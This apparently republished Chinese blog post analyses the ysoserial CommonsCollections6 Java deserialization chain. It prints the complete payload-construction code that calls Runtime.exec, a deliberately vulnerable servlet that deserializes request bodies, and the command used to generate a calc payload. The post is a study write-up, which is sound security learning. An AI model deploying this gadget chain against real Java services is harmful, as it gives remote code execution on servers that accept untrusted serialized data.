前言
继续学习ysoserial中的CommonsCollections6反序列化利用链。
ysoserial中CC6 payload构造
先看下yso中cc6这条链的payload是怎么构造的,后续我们再分析反序列化的过程。
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
前面生成ChainedTransformer利用链的过程跟cc1一致,不作过多讲解。
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
将ChainedTransformer绑定到map对象上,当调用get方法的时候,就会调用到ChainedTransformer的transform方法,从而引起连锁反应执行命令。
TiedMapEntry类:
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
该类的作用在cc5反序列化分析时也进行过讲解:传入构造函数的分别是LazyMap实例化对象(赋值给TiedMapEntry的map
属性)和占位字符串(赋值给TiedMapEntry的key
属性),在TiedMapEntry.getValue
这个方法中,调用this.map.get()
方法,就和前面的串联起来达成命令执行了。
多次反射操作
下面的代码比较长,是多次反射操作,我们拆开来看。
第一次反射:
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
这里的try catch应该是为了兼容不同版本的jdk。
创建了一个HashSet
对象,容量为1,添加了个"foo"字符串。
随后通过反射的方法获取到HashSet
对象的成员变量map
,其为HashMap
类型,定义为变量名innimpl
。
第二次反射:
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
通过反射的方法获取到HashMap
对象的成员变量table
,其为对象数组(Object[])类型,定义为变量名array
。
第三次反射:
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
获取HashMap
对象的成员变量table
的第一个元素或者第二个元素,命名为node
变量,通过反射获取node
变量的成员变量key,并该成员变量修改为之前构造好的TiedMapEntry
类型对象。
这部分代码很多,其实就是一个赋值操作:
HashSet map = new HashSet(1);
map.add("foo");
map.map.table[0].key = entry; // or map.map.table[1].key = entry;
return map;
map是HashSet
对象,也就是集合,集合的特性就是:没有重复的元素。
这一系列的操作就是,往集合map
中添加元素foo
,再通过反射把这个元素改为entry。这里抛出一个疑问后面解答,为什么不直接往map内添加entry。
先分析HashSet这些类。
HashSet HashMap 类
HashSet的成员变量map为HashMap类型:
private transient HashMap<E,Object> map;
HashSet的add方法在添加新元素时,会把添加的新元素设置为map的key,因为HashMap的key唯一,所以HashSet将HashMap的key当做自己的元素,通过这种方式保证了HashSet没有重复元素:
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
HashMap的table成员变量是Node类型数组,Node是HashMap的内部静态类,HashMap每添加一个新元素都会放在Node数组里,Node类包含了map的hash,key,value等信息:
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}
反序列化过程分析
1. 创建web项目
创建一个maven web项目,并创建一个servlet如下:
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
pom.xml中添加commons-collections 3.1依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
使用yso生成calc命令的payload:
java -jar CommonsCollections6 calc > cc6.ser
利用burp发送payload,成功执行命令弹出计算器:
2. 反序列化链分析
通过前面的学习我们知道,该反序列化链会执行LazyMap.get()
方法,从而引发后面的连锁反应,所以我们在LazyMap.get()
方法处打上断点,查看函数栈帧的调用:
HashSet.readObject()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
HashSet有自己的readObject方法,它和HashMap同理,先创建个空的HashSet,再把元素一个个put进去。这里put的元素正是之前构造的 TiedMapEntry
对象。
put时获取TiedMapEntry
对象的hash:
调用TiedMapEntry.hashCode
方法:
而在TiedMapEntry.hashCode
方法中,就会调用TiedMapEntry.getValue()
方法:
从而调用LazyMap.get()
方法引起连锁反应。
问题:为什么不直接在HashSet对象中添加TiedMapEntry对象
我们看看LazyMap.get()
方法引起连锁反应的条件是什么:
需要LazyMap
中的HashMap
不包含此key,才会进入if条件,从而执行后面的transform
方法。
如果我们直接在HashSet中添加TiedMapEntry
对象
map.add(entry);
add方法如下:
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
这里的map为HashMap
对象。
继续跟进看代码:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
对TiedMapEntry对象计算hash,就会调用TiedMapEntry对象的hashCode方法,调用TiedMapEntry对象的getValue()方法,然后就会调用LazyMap的get方法:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
这里LazyMap显然没有这个key,进入这个if中,在这个if里面则会新建一个键值对。
HashSet调用add添加的元素,会在LazyMap里添加一个和这个元素相同的key,则下次调用LazyMap的get方法时,不会创建新的键值对,也就不会调用Transformer链,不会造成rce。所以在构造payload时,不能使用HashSet的add方法添加构造好的map对象,要用反射修改。
参考链接
https://www.freebuf.com/articles/web/312176.html
原文始发于微信公众号(信安文摘):【yso】- CC6反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论